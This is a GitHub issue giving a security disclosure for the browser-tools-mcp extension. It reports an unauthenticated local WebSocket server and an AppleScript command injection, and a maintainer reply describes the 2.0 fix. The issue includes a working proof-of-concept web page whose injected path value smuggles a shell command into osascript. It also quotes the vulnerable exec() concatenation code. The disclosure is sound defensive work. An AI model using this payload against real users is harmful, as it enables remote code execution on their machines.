browser-tools-mcp icon indicating copy to clipboard operation
browser-tools-mcp copied to clipboard

Unauthorized vulnerability and command injection leading to remote code execution

Open notwo1f opened this issue 8 months ago • 2 comments

This vulnerability is found by Zeyu Luo security researcher,Songwu security researcher,Dr. CAO Yinfeng, Kevin – The Hong Kong Polytechnic University / HKCT Institute of Higher Education

The node serve in this extention can be accessed without authorization.Besides there is a command injection in AppleScript.So if user ,whose broswer installed this mcp extension,access the malicious website ,a Remote Code Execution can happen.

unauthorized access:

this.server.on("upgrade", (request: IncomingMessage, socket: Socket, head: Buffer) => { if (request.url === "/extension-ws") { this.wss.handleUpgrade(request, socket, head, (ws: WebSocket) => { this.wss.emit("connection", ws, request); // ← access any connection }); } });

command injection:

const appleScript = set imagePath to "${fullPath}" // ← user can control ... ; exec(osascript -e '${appleScript}', ...); // ← command injection

poc:

`

WebSocket Test

WebSocket Test Page

Check the console for logs.

<script>
    // 1. WebSocket 连接 Node Server
    const ws = new WebSocket('ws://127.0.0.1:3025/extension-ws');

    ws.onopen = function() {
        console.log('WebSocket connection established.');

        // 2. 连接 ws 成功后,访问 Node Server 截图接口触发 ws 消息
        fetch('http://127.0.0.1:3025/capture-screenshot',
        {
            method: 'POST',
            mode: 'no-cors' // 此处使用 no-cors 强制发送跨域请求
        }).then(() => console.log('Capture screenshot request sent.'))
        .catch(err => console.error('Error sending capture screenshot request:', err));
    };

    ws.onmessage = function(event) {
        console.log('Message from server:', event.data);
        try {
            const message = JSON.parse(event.data);
            if (message.type === 'take-screenshot' && message.requestId) {
                console.log('Received take-screenshot request. Responding...');

                // 3. 收到 ws 消息后,回复 payload
                const response = {
                    type: "screenshot-data",
                    data: "1234",
                    path: "/Users/xiaoming/' || echo 'hacked by notwolf' > /Users/xiaoming/hack.txt || '",
                    autoPaste: true
                };
                ws.send(JSON.stringify(response));
                console.log('Response sent:', response);
            }
        } catch (e) {
            console.error('Error parsing message or sending response:', e);
        }
    };

    ws.onclose = function() {
        console.log('WebSocket connection closed.');
    };

    ws.onerror = function(error) {
        console.error('WebSocket Error: ', error);
    };
</script>
`

fix suggestion:

Add Origin whitelist validation and random Secret Token verification in the upgrade event handler Never use exec()with user-controlled string concatenation

notwo1f avatar Mar 14 '26 06:03 notwo1f

Fixed in 2.0.0, and thank you for reporting it — this was accurate and it should have been answered far sooner than it was. Published as a security advisory: https://github.com/AgentDeskAI/browser-tools-mcp/security/advisories/GHSA-xvrv-w8pg-f25f (GHSA-xvrv-w8pg-f25f, CVSS 9.8). The fix is a design change rather than a patch: the connector binds loopback and refuses non-loopback addresses, the HTTP API requires a per-run bearer token, the WebSocket accepts only browser-extension origins, and the AppleScript path that made the injection reachable is removed entirely — no captured value reaches a shell in 2.0. Regression tests cover the listener address, origin rejection and refusal of paths containing shell metacharacters. Upgrade with @agentdeskai/browser-tools-mcp@latest; all 1.x releases are now deprecated on npm. Note 2.0 is a rewrite — see MIGRATION.md.

tedjames avatar Aug 10 '26 17:08 tedjames

thanks for your credit !!! could you help me get the cve ID in github security advisory? this will help me a lot on my academic publishment

notwo1f avatar Aug 11 '26 07:08 notwo1f